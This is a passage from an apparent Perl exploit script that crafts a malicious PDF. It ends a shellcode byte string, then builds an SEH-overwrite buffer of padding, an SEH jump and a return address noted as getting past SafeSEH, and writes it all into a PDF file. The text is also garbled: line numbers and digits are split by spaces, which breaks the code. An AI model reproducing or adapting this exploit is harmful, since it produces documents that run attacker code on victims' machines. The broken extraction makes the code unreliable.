2. "\x42\x55\x4a\x36\x50\x37\x4a\x4d\x44\x4e\x43\x47\x4a\x36\x4a\x59". 1 6 3. "\x50\x4f\x4c\x38\x50\x30\x47\x35\x4f\x4f\x47\x4e\x43\x46\x41\x36". 1 6 4. "\x4e\x56\x43\x36\x42\x50\x5a"; 1 6 5. 1 6 6. my $overflow1 = "\x41" x 1 3 4 6; 1 6 7. my $overflow2 = "\x41" x (4 0 9 6 - (length($shellcode) + 2 5 5)); 1 6 8. my $overflow3 = "\x41" x 2 5 5; 1 6 9. my $sehjmp = "SkD"; # ;) 1 7 0. my $sehret = "\x64\xee\x1f\x02"; # 0x021fee64 - damn you SafeSEH 1 7 1. 1 7 2. open (my $pdf, "> s. pdf"); 1 7 3. binmode $pdf; 1 7 4. print $pdf $pdf_data1. 1 7 5. $overflow1.$ sehjmp.$ sehret.$ overflow2.$ shellcode.$ overflow3. 1 7 6. $pdf_data2; 1 7 7. close $pdf;